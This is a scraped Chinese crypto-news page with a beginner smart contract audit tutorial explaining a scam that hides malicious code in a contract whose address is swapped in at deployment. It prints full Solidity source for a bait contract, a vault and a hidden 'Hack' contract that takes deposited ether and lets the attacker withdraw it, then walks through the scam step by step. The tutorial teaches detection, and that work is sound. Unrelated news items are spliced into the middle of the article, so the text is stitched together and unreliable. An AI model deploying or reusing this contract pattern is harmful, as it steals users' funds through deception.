加密貨幣交易所 加密貨幣交易所
Ctrl+D 加密貨幣交易所
ads

智能合約安全審計入門篇 —— 移花接木_NBS:QUO

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用 tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個 A 合約并告訴受害者我們會在部署 A 合約的構造函數中傳入 B 合約的地址并將 B 合約開源,其實我們會在部署 A 合約時傳入 C 合約的地址,如果受害者完全信任我們沒有檢查部署 A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了 C 合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約 A 傳入合約 B 地址,這樣調用路徑為正常路徑。

實際的調用路徑:

部署合約 A 傳入合約 C 地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker {    Vault vault;    constructor(address _vault) {        vault = Vault(payable(_vault));    }    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");        uint256 amount = msg.value * 2;        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");        vault.transfer(recipient, amount);    }}contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;    constructor(address _evil) {        evil = _evil;    }    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}騙局分析

Cosmos生態智能合約公鏈Juno Network 宣布上線Juno 8.0.0版本:據官方消息,Cosmos生態智能合約公鏈Juno Network在推特上表示,Juno 8.0.0版本現已上線。支持ICA(鏈間帳戶)的升級在經歷一些小問題后成功完成。[2022/7/8 2:00:23]

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的 A, B, C 三個角色來區分三個合約分別代表什么角色:

MoneyMaker 合約代表 A 合約;

Vault 合約代表 B 合約;

Hack 合約代表 C 合約。

所以用戶以為的調用路徑為:

MoneyMaker -> Vault。

而實際的調用路徑為:

MoneyMaker -> Hack。

下面我們來看看攻擊者如何完成騙局的:

1. Evil 部署 Vault(B) 合約并在合約中留存 100 ETH 資金,在鏈上將 Vault(B) 合約開源;

2. Evil 部署 Hack(C) 惡意合約;

3. Evil 放出消息說他將會部署一個開源的賺錢 MoneyMaker(A) 合約,部署時會將 Vault(B) 合約地址傳入且會調用 Vault.setMacker() 將 maker 角色設置為 MoneyMaker 合約地址,任何人調用 MoneyMaker.makeMoney() 向合約中打入不少于一個以太都會得到雙倍以太的回報;

動態 | Cardano發布新論文介紹在路線圖Goguen更新中實施智能合約:Cardano (ADA)在1月27日發布了一篇新論文,其中詳細介紹了如何在即將到來的路線圖Goguen更新中實施智能合約。雖然該系統是獨一無二的,但鑒于Cardano的延遲歷史,其發布日期仍不確定。(Cointelegraph)[2020/1/29]

4. Bob 收到消息,了解到 MoneyMaker 合約的存在,他看了 MoneyMaker(A) 和 Vault(B) 合約的代碼并檢查了 Vault(B) 合約中的余額發現邏輯確實如 Evil 說的那樣,他在沒有檢查 MoneyMaker(A) 部署交易的情況下就相信了 Evil;

5. Bob 調用 MoneyMaker.makeMoney() 向合約中打入自己全部身家 20 ETH,在他滿懷期待等著收到 Vault(B) 打來的 40 ETH 時等來的卻是一句 "Haha, your ether is mine!"。

咋回事呢?其實這個騙局非常簡單但是很常見。Evil 在部署 MoneyMaker 合約時傳入的并不是 Vault 合約的地址,而是傳入了 Hack 合約的地址。所以當 Bob 調用 MoneyMaker.makeMoney() 時并不會像他想像中的那樣 MoneyMaker.makeMoney() 去調用 Vault.transfer() 回打給他雙倍的以太,而是調用了 Hack.transfer() 拋出了一個事件:"Haha, your ether is mine!"。最后 Evil 調用 Vault.withrow() 將 Vault 合約中的 100 ETH 轉出,并通過 Hack.withrow() 將 Bob 轉入的 20 ETH 轉出。

動態 | 螞蟻區塊鏈攜手 ChainIDE 為開發者提供智能合約云端開發工具:螞蟻區塊鏈的開放聯盟鏈將利用智能合約云端開發工具 ChainIDE,為開發者帶來一鍵編譯、設計、部署、測試、調用基于開放聯盟鏈系統的智能合約的中間件系統。ChainIDE 由區塊鏈開發團隊純白矩陣推出,并宣布該工具將于今日開放公測。據純白矩陣介紹,ChainIDE 讓開發團隊只需要專注設計智能合約本身,在適用性突破的同時,大大節約了開發周期,通過全球 CDN 加速的云計算,ChainIDE 已經幫助全球的開發者編譯了超過 50 萬份智能合約,大大降低了區塊鏈的上手門檻。此次開放中間件的公測,將為開發者提供全套的自研中間件系統與開發者生態,包括:IDE、測試網、開發者錢包、瀏覽器、教程等一體化的服務,ChainIDE 的全套體系可以幫助開發者無縫對接螞蟻區塊鏈開放聯盟鏈全套服務,在應用層和區塊鏈底層之間提供免費的加速服務。未來 ChainIDE 會對接更多的開放聯盟鏈控件,并且逐步完善云端插件系統,并在開放聯盟鏈正式版上線后提供一鍵并入主網的支持。[2020/1/14]

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

慢霧科技

個人專欄

閱讀更多

金色薦讀

金色財經 善歐巴

迪新財訊

Chainlink預言機

動態 | 諾貝爾經濟學家奧利弗哈特將會為美國Prysm集團的智能合約系統提供幫助:據福布斯報道,美國經濟學家奧利弗哈特加入加密創業公司,擔任區塊鏈治理公司Prysm Group的顧問。盡管在加密創業公司擔任新職位,和許多同行一樣,他對比特幣持懷疑態度。奧利弗哈特表示,“就我認為區塊鏈和比特幣可以分開的程度而言,我認為我對區塊鏈更加熱衷。”[2018/8/2]

區塊律動BlockBeats

白話區塊鏈

金色早8點

Odaily星球日報

MarsBit

Arcane Labs

西班牙公司通過智能合同質量控制向區塊鏈發送橄欖油:西班牙是世界上最大的橄欖油生產國,每年生產100萬噸的橄欖油。大宗商品供應鏈中兩個最大的問題是價格波動和質量控制,Olivacoin希望能為橄欖油行業解決這兩個問題。該公司還為橄欖油的買家和賣家提供了一個支付平臺,該公司已經開發出了用于分析橄欖油的硬件,以確保產品的質量是有保障的。如果達到條件,那么支付就會被智能合同所激活。該公司的創始人伊斯梅爾?圣地亞哥認為,Olivacoin可能會成為該行業最大的公司,但不擁有農田、樹木或任何加工廠。希望通過將加密貨幣與物聯網技術結合在一起,擴大公司的公司,成為在原材料區塊鏈追溯性方面無可爭議的世界領導者。[2018/5/1]

Tags:NBSBSPQUOMAKENBS幣BSP幣QUO幣Make Me Rich

萊特幣價格
ChainAegis:Blend鏈上數據分析_LEND:lend幣怎么樣

作者:ChainAegis,SharkTeam2023年5月1日,NFT交易平臺Blur官方宣布上線Blur Lending(簡稱Blend).

1900/1/1 0:00:00
如何分解ETH波動性?F(X)新型穩定資產和杠桿方案拆解_ETH:XET

作為AladdinDAO的最新作品,f(x)協議將ETH分解為兩種新的衍生代幣:fETH和xETH.

1900/1/1 0:00:00
詳解MakerDAO終局計劃Endgame的新路線圖 將AI輔助治理及部署新鏈_DAO:NEW

作者:Rune Christensen, MakerDAO聯合創始人 編譯:Felix, PANewsEndgame是MakerDAO的重大更新,旨在提升效率、彈性和參與度.

1900/1/1 0:00:00
元宇宙項目Lucky Bird將構建區塊鏈基礎設施、推動Web3建設_元宇宙:LUC

隨著元宇宙的崛起,一個名為“Lucky Bird”的全新元宇宙項目正在吸引著全球范圍內的目光。作為金色音樂節的特邀嘉賓和總冠名,我們有幸提前了解到Lucky Bird的宏大愿景及其在區塊鏈領域的.

1900/1/1 0:00:00
zkVM:比zkEVM更普適的通用擴容方案_ISC:SYN

本文將對比 zkEVM 和 zkVM 在技術上的差異,并介紹 RISC Zero zkVM 及其即將推出的 Bonsai 網絡.

1900/1/1 0:00:00
LD Capital:BTC二層網絡之Stacks_STA:STACK

礦工收益可持續性問題顯現,比特幣社區面臨潛在的算力危機,比特幣智能網絡生態發展可有效提高網絡使用率,解決礦工收入可持續性問題。但網絡擁堵問題嚴重阻礙比特幣網絡生態發展,L2 方案重要性凸顯.

1900/1/1 0:00:00
ads